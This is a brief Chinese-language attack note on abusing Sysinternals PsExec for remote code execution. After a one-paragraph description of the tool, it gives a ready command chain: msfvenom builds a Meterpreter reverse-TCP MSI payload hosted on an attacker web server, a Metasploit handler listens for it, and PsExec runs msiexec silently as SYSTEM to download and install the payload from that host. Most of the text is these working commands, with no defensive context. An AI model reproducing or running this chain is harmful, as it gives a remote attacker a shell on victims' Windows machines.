1. 概述
PsExec是SysinternalsSuite的⼩⼯具之⼀,是⼀种轻量级的telnet替代品,允许在其他系统上执⾏进程,完成控制台应⽤程序的完全交互,⽽⽆需⼿动安装客户端软件,并且可以获得与控制台应⽤程序相当的完全交互性。
2. 利用
2.1 生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.5.134 lport=3333 -f msi > /var/www/html/3333.msi
2.2 监听
handler -H 192.168.5.134 -P 3333 -p windows/meterpreter/reverse_tcp
2.3 psexec执行payload
可以看到下面利用psexec来执行,真正执行的却是msiexec.exe
PsExec.exe -s -d msiexec.exe /q /i http://192.168.5.134/3333.msi